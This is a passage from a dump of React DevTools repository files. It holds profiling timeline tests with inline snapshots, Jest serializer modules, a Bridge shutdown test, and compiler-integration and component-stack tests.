\"timestamp\": 20,\n                          \"type\": \"layout-effect-mount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 21,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"componentStack\": \"\n                          in Example (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000000010\",\n                          \"timestamp\": 21,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark cascading passive updates', async () => {\n          function Example() {\n            const [didMount, setDidMount] = React.useState(false);\n            React.useEffect(() => {\n              Scheduler.unstable_advanceTime(1);\n              setDidMount(true);\n            }, []);\n            Scheduler.unstable_advanceTime(10);\n            Scheduler.log(didMount ? 'update' : 'mount');\n            return didMount;\n          }\n\n          modernRender(<Example />);\n          await waitForAll(['mount', 'update']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 1,\n                          \"timestamp\": 20,\n                          \"type\": \"passive-effect-mount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 21,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"componentStack\": \"\n                          in Example (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 21,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark render phase updates', async () => {\n          function Example() {\n            const [didRender, setDidRender] = React.useState(false);\n            Scheduler.unstable_advanceTime(10);\n            if (!didRender) {\n              setDidRender(true);\n            }\n            Scheduler.log(didRender ? 'update' : 'mount');\n            return didRender;\n          }\n\n          modernRender(<Example />);\n          await waitForAll(['mount', 'update']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          // Render phase updates should be retried as part of the same batch.\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(1);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 20,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"componentStack\": \"\n                          in Example (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 20,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark concurrent render that throws', async () => {\n          jest.spyOn(console, 'error').mockImplementation(() => {});\n\n          class ErrorBoundary extends React.Component {\n            state = {error: null};\n            componentDidCatch(error) {\n              this.setState({error});\n            }\n            render() {\n              Scheduler.unstable_advanceTime(10);\n              if (this.state.error) {\n                Scheduler.log('ErrorBoundary fallback');\n                return null;\n              }\n              Scheduler.log('ErrorBoundary render');\n              return this.props.children;\n            }\n          }\n\n          function ExampleThatThrows() {\n            Scheduler.log('ExampleThatThrows');\n            // eslint-disable-next-line no-throw-literal\n            throw 'Expected error';\n          }\n\n          modernRender(\n            <ErrorBoundary>\n              <ExampleThatThrows />\n            </ErrorBoundary>,\n          );\n\n          await waitForAll([\n            'ErrorBoundary render',\n            'ExampleThatThrows',\n            'ErrorBoundary render',\n            'ExampleThatThrows',\n            'ErrorBoundary fallback',\n          ]);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"ErrorBoundary\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ExampleThatThrows\",\n                          \"duration\": 0,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ErrorBoundary\",\n                          \"duration\": 10,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ExampleThatThrows\",\n                          \"duration\": 0,\n                          \"timestamp\": 30,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ErrorBoundary\",\n                          \"duration\": 10,\n                          \"timestamp\": 30,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ErrorBoundary\",\n                          \"componentStack\": \"\n                          in ErrorBoundary (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000000010\",\n                          \"timestamp\": 30,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.thrownErrors).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"ExampleThatThrows\",\n                          \"message\": \"Expected error\",\n                          \"phase\": \"mount\",\n                          \"timestamp\": 20,\n                          \"type\": \"thrown-error\",\n                        },\n                        {\n                          \"componentName\": \"ExampleThatThrows\",\n                          \"message\": \"Expected error\",\n                          \"phase\": \"mount\",\n                          \"timestamp\": 30,\n                          \"type\": \"thrown-error\",\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark passive and layout effects', async () => {\n          function ComponentWithEffects() {\n            React.useLayoutEffect(() => {\n              Scheduler.log('layout 1 mount');\n              return () => {\n                Scheduler.log('layout 1 unmount');\n              };\n            }, []);\n\n            React.useEffect(() => {\n              Scheduler.log('passive 1 mount');\n              return () => {\n                Scheduler.log('passive 1 unmount');\n              };\n            }, []);\n\n            React.useLayoutEffect(() => {\n              Scheduler.log('layout 2 mount');\n              return () => {\n                Scheduler.log('layout 2 unmount');\n              };\n            }, []);\n\n            React.useEffect(() => {\n              Scheduler.log('passive 2 mount');\n              return () => {\n                Scheduler.log('passive 2 unmount');\n              };\n            }, []);\n\n            React.useEffect(() => {\n              Scheduler.log('passive 3 mount');\n              return () => {\n                Scheduler.log('passive 3 unmount');\n              };\n            }, []);\n\n            return null;\n          }\n\n          const unmount = modernRender(<ComponentWithEffects />);\n\n          await waitForPaint(['layout 1 mount', 'layout 2 mount']);\n\n          await waitForAll([\n            'passive 1 mount',\n            'passive 2 mount',\n            'passive 3 mount',\n          ]);\n\n          await waitForAll([]);\n\n          unmount();\n\n          assertLog([\n            'layout 1 unmount',\n            'layout 2 unmount',\n            'passive 1 unmount',\n            'passive 2 unmount',\n            'passive 3 unmount',\n          ]);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"layout-effect-mount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"layout-effect-mount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"passive-effect-mount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"passive-effect-mount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"passive-effect-mount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"layout-effect-unmount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"layout-effect-unmount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"passive-effect-unmount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"passive-effect-unmount\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ComponentWithEffects\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"passive-effect-unmount\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.batchUIDToMeasuresMap).toMatchInlineSnapshot(`\n                      Map {\n                        1 => [\n                          {\n                            \"batchUID\": 1,\n                            \"depth\": 0,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000100000\",\n                            \"timestamp\": 10,\n                            \"type\": \"render-idle\",\n                          },\n                          {\n                            \"batchUID\": 1,\n                            \"depth\": 0,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000100000\",\n                            \"timestamp\": 10,\n                            \"type\": \"render\",\n                          },\n                          {\n                            \"batchUID\": 1,\n                            \"depth\": 0,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000100000\",\n                            \"timestamp\": 10,\n                            \"type\": \"commit\",\n                          },\n                          {\n                            \"batchUID\": 1,\n                            \"depth\": 1,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000100000\",\n                            \"timestamp\": 10,\n                            \"type\": \"layout-effects\",\n                          },\n                          {\n                            \"batchUID\": 1,\n                            \"depth\": 0,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000100000\",\n                            \"timestamp\": 10,\n                            \"type\": \"passive-effects\",\n                          },\n                        ],\n                        2 => [\n                          {\n                            \"batchUID\": 2,\n                            \"depth\": 0,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000000010\",\n                            \"timestamp\": 10,\n                            \"type\": \"render-idle\",\n                          },\n                          {\n                            \"batchUID\": 2,\n                            \"depth\": 0,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000000010\",\n                            \"timestamp\": 10,\n                            \"type\": \"render\",\n                          },\n                          {\n                            \"batchUID\": 2,\n                            \"depth\": 0,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000000010\",\n                            \"timestamp\": 10,\n                            \"type\": \"commit\",\n                          },\n                          {\n                            \"batchUID\": 2,\n                            \"depth\": 1,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000000010\",\n                            \"timestamp\": 10,\n                            \"type\": \"layout-effects\",\n                          },\n                          {\n                            \"batchUID\": 2,\n                            \"depth\": 1,\n                            \"duration\": 0,\n                            \"lanes\": \"0b0000000000000000000000000000010\",\n                            \"timestamp\": 10,\n                            \"type\": \"passive-effects\",\n                          },\n                        ],\n                      }\n                  `);\n        });\n\n        it('should generate component stacks for state update', async () => {\n          function CommponentWithChildren({initialRender}) {\n            Scheduler.log('Render ComponentWithChildren');\n            return <Child initialRender={initialRender} />;\n          }\n\n          function Child({initialRender}) {\n            const [didRender, setDidRender] = React.useState(initialRender);\n            if (!didRender) {\n              setDidRender(true);\n            }\n            Scheduler.log('Render Child');\n            return null;\n          }\n\n          modernRender(<CommponentWithChildren initialRender={false} />);\n\n          await waitForAll([\n            'Render ComponentWithChildren',\n            'Render Child',\n            'Render Child',\n          ]);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Child\",\n                          \"componentStack\": \"\n                          in Child (at **)\n                          in CommponentWithChildren (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n      });\n    });\n\n    describe('when not profiling', () => {\n      describe('with legacy render', () => {\n        const {render: legacyRender} = getLegacyRenderImplementation();\n\n        // @reactVersion <= 18.2\n        // @reactVersion >= 18.0\n        it('should not log any marks', () => {\n          legacyRender(<div />);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData).toBeNull();\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__mocks__/cssMock.js",
    "content": "module.exports = {};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/dehydratedValueSerializer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// `test` is part of Jest's serializer API\nexport function test(maybeDehydratedValue) {\n  const {meta} = require('react-devtools-shared/src/hydration');\n\n  const hasOwnProperty =\n    Object.prototype.hasOwnProperty.bind(maybeDehydratedValue);\n  return (\n    maybeDehydratedValue !== null &&\n    typeof maybeDehydratedValue === 'object' &&\n    hasOwnProperty(meta.inspectable) &&\n    maybeDehydratedValue[meta.inspected] !== true\n  );\n}\n\n// print() is part of Jest's serializer API\nexport function print(dehydratedValue, serialize, indent) {\n  const {meta} = require('react-devtools-shared/src/hydration');\n  const indentation = Math.max(indent('.').indexOf('.') - 2, 0);\n  const paddingLeft = ' '.repeat(indentation);\n  return (\n    'Dehydrated {\\n' +\n    paddingLeft +\n    '  \"preview_short\": ' +\n    dehydratedValue[meta.preview_short] +\n    ',\\n' +\n    paddingLeft +\n    '  \"preview_long\": ' +\n    dehydratedValue[meta.preview_long] +\n    ',\\n' +\n    paddingLeft +\n    '}'\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/hookSerializer.js",
    "content": "function hasAbsoluteFileName(hook) {\n  const fileName = hook.hookSource ? hook.hookSource.fileName : null;\n  if (fileName == null) {\n    return false;\n  } else {\n    return fileName.indexOf('/react-devtools-shared/') > 0;\n  }\n}\n\nfunction serializeHook(hook) {\n  if (!hook.hookSource) return hook;\n\n  // Remove user-specific portions of this file path.\n  let fileName = hook.hookSource.fileName;\n  const index = fileName.lastIndexOf('/react-devtools-shared/');\n  fileName = fileName.slice(index + 1);\n\n  let subHooks = hook.subHooks;\n  if (subHooks) {\n    subHooks = subHooks.map(serializeHook);\n  }\n\n  return {\n    ...hook,\n    hookSource: {\n      ...hook.hookSource,\n      fileName,\n\n      // Otherwise changes in any test case or formatting might invalidate other tests.\n      columnNumber: 'removed by Jest serializer',\n      lineNumber: 'removed by Jest serializer',\n    },\n    subHooks,\n  };\n}\n\n// `test` is part of Jest's serializer API\nexport function test(maybeHook) {\n  if (maybeHook === null || typeof maybeHook !== 'object') {\n    return false;\n  }\n\n  const hasOwnProperty = Object.prototype.hasOwnProperty.bind(maybeHook);\n\n  return (\n    hasOwnProperty('id') &&\n    hasOwnProperty('isStateEditable') &&\n    hasOwnProperty('name') &&\n    hasOwnProperty('subHooks') &&\n    hasOwnProperty('value') &&\n    // Don't re-process an already printed hook.\n    hasAbsoluteFileName(maybeHook)\n  );\n}\n\n// print() is part of Jest's serializer API\nexport function print(hook, serialize, indent) {\n  // Don't stringify this object; that would break nested serializers.\n  return serialize(serializeHook(hook));\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/inspectedElementSerializer.js",
    "content": "// `test` is part of Jest's serializer API\nexport function test(maybeInspectedElement) {\n  if (\n    maybeInspectedElement === null ||\n    typeof maybeInspectedElement !== 'object'\n  ) {\n    return false;\n  }\n\n  const hasOwnProperty = Object.prototype.hasOwnProperty.bind(\n    maybeInspectedElement,\n  );\n\n  return (\n    hasOwnProperty('canEditFunctionProps') &&\n    hasOwnProperty('canEditHooks') &&\n    hasOwnProperty('canToggleSuspense') &&\n    hasOwnProperty('canToggleError')\n  );\n}\n\n// print() is part of Jest's serializer API\nexport function print(inspectedElement, serialize, indent) {\n  // Don't stringify this object; that would break nested serializers.\n  return serialize({\n    context: inspectedElement.context,\n    events: inspectedElement.events,\n    hooks: inspectedElement.hooks,\n    id: inspectedElement.id,\n    owners: inspectedElement.owners,\n    props: inspectedElement.props,\n    rootType: inspectedElement.rootType,\n    state: inspectedElement.state,\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/numberToFixedSerializer.js",
    "content": "const MAX_DECIMAL_PLACES = 3;\n\n// `test` is part of Jest's serializer API\nexport function test(maybeNumber) {\n  return (\n    typeof maybeNumber === 'number' &&\n    Number.isFinite(maybeNumber) &&\n    !Number.isInteger(maybeNumber) &&\n    !Number.isNaN(maybeNumber)\n  );\n}\n\n// print() is part of Jest's serializer API\nexport function print(number, serialize, indent) {\n  const string = number.toString();\n  const pieces = string.split('.');\n  if (pieces.length === 2) {\n    if (pieces[1].length > MAX_DECIMAL_PLACES) {\n      return number.toFixed(MAX_DECIMAL_PLACES);\n    }\n  }\n\n  return string;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/profilingSerializer.js",
    "content": "import hasOwnProperty from 'shared/hasOwnProperty';\n\nconst FILTERED_VERSION_STRING = '<filtered-version>';\n\n// `test` is part of Jest's serializer API\nexport function test(maybeProfile) {\n  if (\n    maybeProfile != null &&\n    typeof maybeProfile === 'object' &&\n    hasOwnProperty.call(maybeProfile, 'reactVersion') &&\n    maybeProfile.reactVersion !== FILTERED_VERSION_STRING\n  ) {\n    return true;\n  }\n\n  return false;\n}\n\n// print() is part of Jest's serializer API\nexport function print(profile, serialize, indent) {\n  return serialize({\n    ...profile,\n    reactVersion: FILTERED_VERSION_STRING,\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/storeSerializer.js",
    "content": "import {printStore} from 'react-devtools-shared/src/devtools/utils';\n\n// `test` is part of Jest's serializer API\nexport function test(maybeStore) {\n  // It's important to lazy-require the Store rather than imported at the head of the module.\n  // Because we reset modules between tests, different Store implementations will be used for each test.\n  // Unfortunately Jest does not reset its own serializer modules.\n  return (\n    maybeStore instanceof\n    require('react-devtools-shared/src/devtools/store').default\n  );\n}\n\n// print() is part of Jest's serializer API\nexport function print(store, serialize, indent, includeSuspense = true) {\n  return printStore(store, false, null, includeSuspense);\n}\n\n// Used for Jest snapshot testing.\n// May also be useful for visually debugging the tree, so it lives on the Store.\nexport {printStore};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/timelineDataSerializer.js",
    "content": "import hasOwnProperty from 'shared/hasOwnProperty';\nimport isArray from 'shared/isArray';\n\nfunction formatLanes(laneArray) {\n  const lanes = laneArray.reduce((current, reduced) => current + reduced, 0);\n  return '0b' + lanes.toString(2).padStart(31, '0');\n}\n\n// `test` is part of Jest's serializer API\nexport function test(maybeTimelineData) {\n  if (\n    maybeTimelineData != null &&\n    typeof maybeTimelineData === 'object' &&\n    hasOwnProperty.call(maybeTimelineData, 'lanes') &&\n    isArray(maybeTimelineData.lanes)\n  ) {\n    return true;\n  }\n\n  return false;\n}\n\n// print() is part of Jest's serializer API\nexport function print(timelineData, serialize, indent) {\n  return serialize({\n    ...timelineData,\n    lanes: formatLanes(timelineData.lanes),\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/__serializers__/treeContextStateSerializer.js",
    "content": "import {printStore} from 'react-devtools-shared/src/devtools/utils';\n\n// `test` is part of Jest's serializer API\nexport function test(maybeState) {\n  if (maybeState === null || typeof maybeState !== 'object') {\n    return false;\n  }\n\n  const hasOwnProperty = Object.prototype.hasOwnProperty.bind(maybeState);\n  // Duck typing at its finest.\n  return (\n    hasOwnProperty('inspectedElementID') &&\n    hasOwnProperty('ownerFlatTree') &&\n    hasOwnProperty('ownerSubtreeLeafElementID')\n  );\n}\n\n// print() is part of Jest's serializer API\nexport function print(state, serialize, indent) {\n  // This is a big of a hack but it works around having to pass in a meta object e.g. {store, state}.\n  // DevTools tests depend on a global Store object anyway (initialized via setupTest).\n  const store = global.store;\n\n  return printStore(store, false, state);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/bridge-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndescribe('Bridge', () => {\n  let Bridge;\n\n  beforeEach(() => {\n    Bridge = require('react-devtools-shared/src/bridge').default;\n  });\n\n  // @reactVersion >=16.0\n  it('should shutdown properly', () => {\n    const wall = {\n      listen: jest.fn(() => () => {}),\n      send: jest.fn(),\n    };\n    const bridge = new Bridge(wall);\n    const shutdownCallback = jest.fn();\n    bridge.addListener('shutdown', shutdownCallback);\n\n    // Check that we're wired up correctly.\n    bridge.send('reloadAppForProfiling');\n    jest.runAllTimers();\n    expect(wall.send).toHaveBeenCalledWith('reloadAppForProfiling', undefined);\n\n    // Should flush pending messages and then shut down.\n    wall.send.mockClear();\n    bridge.send('update', '1');\n    bridge.send('update', '2');\n    bridge.shutdown();\n    jest.runAllTimers();\n    expect(wall.send).toHaveBeenCalledWith('update', '1');\n    expect(wall.send).toHaveBeenCalledWith('update', '2');\n    expect(wall.send).toHaveBeenCalledWith('shutdown', undefined);\n    expect(shutdownCallback).toHaveBeenCalledTimes(1);\n\n    // Verify that the Bridge doesn't send messages after shutdown.\n    jest.spyOn(console, 'warn').mockImplementation(() => {});\n    wall.send.mockClear();\n    bridge.send('should not send');\n    jest.runAllTimers();\n    expect(wall.send).not.toHaveBeenCalled();\n    expect(console.warn).toHaveBeenCalledWith(\n      'Cannot send message \"should not send\" through a Bridge that has been shutdown.',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/compiler-integration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('CompilerIntegration', () => {\n  global.IS_REACT_ACT_ENVIRONMENT = true;\n  let React;\n  let act;\n  let useMemoCache;\n\n  beforeEach(() => {\n    React = require('react');\n    require('react-dom');\n    require('react-dom/client');\n    useMemoCache = require('react/compiler-runtime').c;\n\n    const utils = require('./utils');\n    act = utils.act;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  // @reactVersion >= 18.2\n  it('By default, component display names should not have Forget prefix', () => {\n    const hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    const reactDOMFiberRendererInterface = hook.rendererInterfaces.get(1);\n    expect(reactDOMFiberRendererInterface).not.toBeFalsy();\n\n    const Foo = () => {\n      // eslint-disable-next-line no-unused-vars\n      const [val, setVal] = React.useState(null);\n\n      return (\n        <div>\n          <Bar />\n        </div>\n      );\n    };\n    const Bar = () => <div>Hi!</div>;\n\n    act(() => render(<Foo />));\n\n    expect(\n      reactDOMFiberRendererInterface\n        .getDisplayNameForElementID(2)\n        .indexOf('Forget'),\n    ).toBe(-1);\n    expect(\n      reactDOMFiberRendererInterface\n        .getDisplayNameForElementID(3)\n        .indexOf('Forget'),\n    ).toBe(-1);\n  });\n\n  // For React 18.2, this will install uMC polyfill from react-compiler-runtime available on npm.\n  // @reactVersion >= 18.2\n  it('If useMemoCache used, the corresponding displayName for a component should have Forget prefix', () => {\n    const hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    const reactDOMFiberRendererInterface = hook.rendererInterfaces.get(1);\n    expect(reactDOMFiberRendererInterface).not.toBeFalsy();\n\n    const Foo = () => {\n      // eslint-disable-next-line no-unused-vars\n      const $ = useMemoCache(1);\n      // eslint-disable-next-line no-unused-vars\n      const [val, setVal] = React.useState(null);\n\n      return (\n        <div>\n          <Bar />\n        </div>\n      );\n    };\n    const Bar = () => <div>Hi!</div>;\n\n    act(() => render(<Foo />));\n\n    // useMemoCache is only used by Foo component\n    expect(\n      reactDOMFiberRendererInterface\n        .getDisplayNameForElementID(2)\n        .indexOf('Forget'),\n    ).toBe(0);\n    expect(\n      reactDOMFiberRendererInterface\n        .getDisplayNameForElementID(3)\n        .indexOf('Forget'),\n    ).toBe(-1);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/componentStacks-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  getVersionedRenderImplementation,\n  normalizeCodeLocInfo,\n} from 'react-devtools-shared/src/__tests__/utils';\n\ndescribe('component stack', () => {\n  let React;\n  let act;\n  let supportsOwnerStacks;\n\n  beforeEach(() => {\n    const utils = require('./utils');\n    act = utils.act;\n\n    React = require('react');\n    if (\n      React.version.startsWith('19') &&\n      React.version.includes('experimental')\n    ) {\n      supportsOwnerStacks = true;\n    }\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  // @reactVersion >=16.9\n  it('should log the current component stack along with an error or warning', () => {\n    const Grandparent = () => <Parent />;\n    const Parent = () => <Child />;\n    const Child = () => {\n      console.error('Test error.');\n      console.warn('Test warning.');\n      return null;\n    };\n\n    act(() => render(<Grandparent />));\n\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'Test error.',\n      '\\n    in Child (at **)' +\n        '\\n    in Parent (at **)' +\n        '\\n    in Grandparent (at **)',\n    ]);\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'Test warning.',\n      '\\n    in Child (at **)' +\n        '\\n    in Parent (at **)' +\n        '\\n    in Grandparent (at **)',\n    ]);\n  });\n\n  // This test should have caught #19911\n  // but didn't because both DevTools and ReactDOM are running in the same memory space,\n  // so the case we're testing against (DevTools prod build and React DEV build) doesn't exist.\n  // It would be nice to figure out a way to test this combination at some point...\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should disable the current dispatcher before shallow rendering so no effects get scheduled', () => {\n    let useEffectCount = 0;\n\n    const Example = props => {\n      React.useEffect(() => {\n        useEffectCount++;\n        expect(props).toBeDefined();\n      }, [props]);\n      console.warn('Warning to trigger appended component stacks.');\n      return null;\n    };\n\n    act(() => render(<Example test=\"abc\" />));\n\n    expect(useEffectCount).toBe(1);\n\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'Warning to trigger appended component stacks.',\n      '\\n    in Example (at **)',\n    ]);\n  });\n\n  // @reactVersion >= 18.3\n  it('should log the current component stack with debug info from promises', () => {\n    const Child = () => {\n      console.error('Test error.');\n      console.warn('Test warning.');\n      return null;\n    };\n    const ChildPromise = Promise.resolve(<Child />);\n    ChildPromise.status = 'fulfilled';\n    ChildPromise.value = <Child />;\n    ChildPromise._debugInfo = [\n      {\n        name: 'ServerComponent',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const Parent = () => ChildPromise;\n    const Grandparent = () => <Parent />;\n\n    act(() => render(<Grandparent />));\n\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'Test error.',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)'\n        : '\\n    in Child (at **)' +\n          '\\n    in ServerComponent (at **)' +\n          '\\n    in Parent (at **)' +\n          '\\n    in Grandparent (at **)',\n    ]);\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'Test warning.',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)'\n        : '\\n    in Child (at **)' +\n          '\\n    in ServerComponent (at **)' +\n          '\\n    in Parent (at **)' +\n          '\\n    in Grandparent (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/console-test.js",
